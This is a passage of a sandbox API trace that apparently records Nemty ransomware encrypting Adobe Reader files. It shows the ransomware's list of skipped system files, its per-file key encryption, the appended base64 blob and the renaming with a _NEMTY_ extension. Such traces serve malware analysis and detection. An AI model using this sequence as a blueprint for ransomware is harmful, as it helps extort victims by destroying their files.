(lpString1="nppdf32.DAN", lpString2="..") returned 1 [0170.760] lstrcmpiW (lpString1="nppdf32.DAN", lpString2="...") returned 1 [0170.760] lstrcmpiW (lpString1="nppdf32.DAN", lpString2="windows") returned -1 [0170.760] lstrcmpiW (lpString1="nppdf32.DAN", lpString2="$RECYCLE.BIN") returned 1 [0170.760] lstrcmpiW (lpString1="nppdf32.DAN", lpString2="rsa") returned -1 [0170.760] lstrcmpiW (lpString1="nppdf32.DAN", lpString2="NTDETECT.COM") returned -1 [0170.760] lstrcmpiW (lpString1="nppdf32.DAN", lpString2="ntldr") returned -1 [0170.760] lstrcmpiW (lpString1="nppdf32.DAN", lpString2="MSDOS.SYS") returned 1 [0170.760] lstrcmpiW (lpString1="nppdf32.DAN", lpString2="IO.SYS") returned 1 [0170.760] lstrcmpiW (lpString1="nppdf32.DAN", lpString2="boot.ini") returned 1 [0170.760] lstrcmpiW (lpString1="nppdf32.DAN", lpString2="boot.ini") returned 1 [0170.760] lstrcmpiW (lpString1="nppdf32.DAN", lpString2="AUTOEXEC.BAT") returned 1 [0170.760] lstrcmpiW (lpString1="nppdf32.DAN", lpString2="ntuser.dat") returned -1 [0170.760] lstrcmpiW (lpString1="nppdf32.DAN", lpString2="desktop.ini") returned 1 [0170.760] lstrcmpiW (lpString1="nppdf32.DAN", lpString2="CONFIG.SYS") returned 1 [0170.760] lstrcmpiW (lpString1="nppdf32.DAN", lpString2="RECYCLER") returned -1 [0170.760] lstrcmpiW (lpString1="nppdf32.DAN", lpString2="BOOTSECT.BAK") returned 1 [0170.760] lstrcmpiW (lpString1="nppdf32.DAN", lpString2="bootmgr") returned 1 [0170.761] lstrcmpiW (lpString1="nppdf32.DAN", lpString2="programdata") returned -1 [0170.761] lstrcmpiW (lpString1="nppdf32.DAN", lpString2="appdata") returned 1 [0170.761] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.761] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.DAN", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.761] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.DAN", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.DAN", lpUsedDefaultChar=0x0) returned 11 [0170.761] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.761] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.DAN", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.761] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.DAN", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.DAN", lpUsedDefaultChar=0x0) returned 11 [0170.761] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.761] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.761] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.761] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.DAN", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.761] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.DAN", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.DAN", lpUsedDefaultChar=0x0) returned 11 [0170.761] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.761] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.761] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.DAN", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.761] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.DAN", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.DAN", lpUsedDefaultChar=0x0) returned 11 [0170.761] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.761] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0170.761] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0170.761] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0170.761] Sleep (dwMilliseconds=0x5) [0170.781] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x196f30d0, dwHighDateTime=0x1d561e8)) [0170.781] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x196f30d0, dwHighDateTime=0x1d561e8)) [0170.781] GetLastError () returned 0x0 [0170.781] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0170.781] GetLastError () returned 0x0 [0170.782] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.782] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0170.782] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.782] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0170.782] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0170.783] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0170.783] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94288 [0170.783] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94288, pcchString=0x653e91c | out: pszString="Q6Yl00Pz2/feGxLxZuw4C5ap3dUKgLFAFkn8a0XUZdjan2fO8nA43TMMEImKia2l\r\n5oPW0PywmIPiditIUlUOgG00s/Fc5DHrZiuF92fZ28XgpXpSwkp3VWDfAuTDPg2g\r\nwop/Abw6r+eVF+FmGK2SjoP5JfdyxFWft2k5toqVeI1tMtpOpDOownEBnlugdl9j\r\npGV8QGF8UNBZQL6i6uMA+einKukIciC+l2G5bKRmxhCAvgEj6j6LGaQiGzLHWPju\r\n4i7mPIRp3V7i8u3h5DZ3OKDsscz5jWMNY93qnYZ7vgCP41W7OLJEfn4I7yaliAmr\r\nsOeXW6O23PJiBG18jpHPYA==\r\n", pcchString=0x653e91c) returned 1 [0170.783] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0170.783] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0170.783] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.783] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0170.783] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94288 [0170.783] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0170.783] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.dan"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0170.783] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=7680) returned 1 [0170.783] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1e00) returned 0x6352c48 [0170.783] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.783] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x1e00, lpOverlapped=0x0) returned 1 [0170.785] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.785] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x1e00, lpOverlapped=0x0) returned 1 [0170.785] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0170.785] SetFilePointer (in: hFile=0x254, lDistanceToMove=7680, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e00 [0170.785] WriteFile (in: hFile=0x254, lpBuffer=0x4f94288*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x4f94288*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0170.785] CloseHandle (hObject=0x254) returned 1 [0170.785] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0170.785] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0170.785] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.786] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0170.786] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.786] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.786] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0170.786] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0170.786] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0170.786] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.786] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.dan"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.DAN._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.dan._nemty_kgobjgd_")) returned 1 [0170.786] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0170.786] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0170.786] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0170.786] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0170.786] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0170.786] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0170.786] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.786] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0170.786] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8a01e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="nppdf32.DEU", cAlternateFileName="")) returned 1 [0170.786] lstrcmpiW (lpString1="nppdf32.DEU", lpString2=".") returned 1 [0170.786] lstrcmpiW (lpString1="nppdf32.DEU", lpString2="..") returned 1 [0170.786] lstrcmpiW (lpString1="nppdf32.DEU", lpString2="...") returned 1 [0170.786] lstrcmpiW (lpString1="nppdf32.DEU", lpString2="windows") returned -1 [0170.786] lstrcmpiW (lpString1="nppdf32.DEU", lpString2="$RECYCLE.BIN") returned 1 [0170.786] lstrcmpiW (lpString1="nppdf32.DEU", lpString2="rsa") returned -1 [0170.787] lstrcmpiW (lpString1="nppdf32.DEU", lpString2="NTDETECT.COM") returned -1 [0170.787] lstrcmpiW (lpString1="nppdf32.DEU", lpString2="ntldr") returned -1 [0170.787] lstrcmpiW (lpString1="nppdf32.DEU", lpString2="MSDOS.SYS") returned 1 [0170.787] lstrcmpiW (lpString1="nppdf32.DEU", lpString2="IO.SYS") returned 1 [0170.787] lstrcmpiW (lpString1="nppdf32.DEU", lpString2="boot.ini") returned 1 [0170.787] lstrcmpiW (lpString1="nppdf32.DEU", lpString2="boot.ini") returned 1 [0170.787] lstrcmpiW (lpString1="nppdf32.DEU", lpString2="AUTOEXEC.BAT") returned 1 [0170.787] lstrcmpiW (lpString1="nppdf32.DEU", lpString2="ntuser.dat") returned -1 [0170.787] lstrcmpiW (lpString1="nppdf32.DEU", lpString2="desktop.ini") returned 1 [0170.787] lstrcmpiW (lpString1="nppdf32.DEU", lpString2="CONFIG.SYS") returned 1 [0170.787] lstrcmpiW (lpString1="nppdf32.DEU", lpString2="RECYCLER") returned -1 [0170.787] lstrcmpiW (lpString1="nppdf32.DEU", lpString2="BOOTSECT.BAK") returned 1 [0170.787] lstrcmpiW (lpString1="nppdf32.DEU", lpString2="bootmgr") returned 1 [0170.787] lstrcmpiW (lpString1="nppdf32.DEU", lpString2="programdata") returned -1 [0170.787] lstrcmpiW (lpString1="nppdf32.DEU", lpString2="appdata") returned 1 [0170.787] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.787] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.DEU", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.787] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.DEU", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.DEU", lpUsedDefaultChar=0x0) returned 11 [0170.787] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.787] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.DEU", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.787] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.DEU", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.DEU", lpUsedDefaultChar=0x0) returned 11 [0170.787] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.787] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.787] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.787] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.DEU", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.787] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.DEU", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.DEU", lpUsedDefaultChar=0x0) returned 11 [0170.787] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.787] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.787] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.DEU", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.787] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.DEU", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.DEU", lpUsedDefaultChar=0x0) returned 11 [0170.787] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.787] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0170.787] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0170.787] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0170.787] Sleep (dwMilliseconds=0x5) [0170.802] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x1973f390, dwHighDateTime=0x1d561e8)) [0170.802] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x1973f390, dwHighDateTime=0x1d561e8)) [0170.803] GetLastError () returned 0x0 [0170.803] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0170.803] GetLastError () returned 0x0 [0170.803] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.803] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0170.803] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.803] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0170.803] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0170.803] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0170.803] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94288 [0170.803] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94288, pcchString=0x653e91c | out: pszString="7nvJTYoh1B+BHUYQihKU/xPRQjrDaSLzcSNYPwsQQBlAUjBO5Bz71CNtrn90A/6I\r\n5GscwrQB/Yrl4rCZVeRcPGDz7s4qbcBalGxUFLwWzMeqtxdChgIoq2nTgcYyZv6a\r\nLZ2SpcyxPCMtRmmPO6FGN3HzKoPtDpt/BHfXbSppVYwj2aHUwgZP2+36kBr9YklC\r\nzX3gId49jVdafm9qysNSA2zHAIxX5rbu5CwEngmJbDVOWRR3xeur+iLEkOT7jCqE\r\ni+MtmSNPM8FhV8LDJiXdoWiew+wqmLDVRFeeejk79OUsva5Z9iHQTfJS4GPa0coD\r\n5kDXQiiuA5ko3Spt9445OQ==\r\n", pcchString=0x653e91c) returned 1 [0170.803] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0170.803] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0170.803] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.803] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0170.803] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94288 [0170.803] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0170.803] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.deu"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0170.804] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=8192) returned 1 [0170.804] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2000) returned 0x6352c48 [0170.804] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.804] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x2000, lpOverlapped=0x0) returned 1 [0170.806] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.806] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x2000, lpOverlapped=0x0) returned 1 [0170.806] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0170.806] SetFilePointer (in: hFile=0x254, lDistanceToMove=8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2000 [0170.806] WriteFile (in: hFile=0x254, lpBuffer=0x4f94288*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x4f94288*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0170.806] CloseHandle (hObject=0x254) returned 1 [0170.806] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0170.806] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0170.806] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.806] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0170.806] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.807] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.807] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0170.807] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0170.807] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0170.807] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.807] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.deu"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.DEU._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.deu._nemty_kgobjgd_")) returned 1 [0170.807] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0170.807] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0170.807] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0170.807] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0170.807] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0170.807] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0170.807] HeapFree (in: hHeap=0x4f90000, 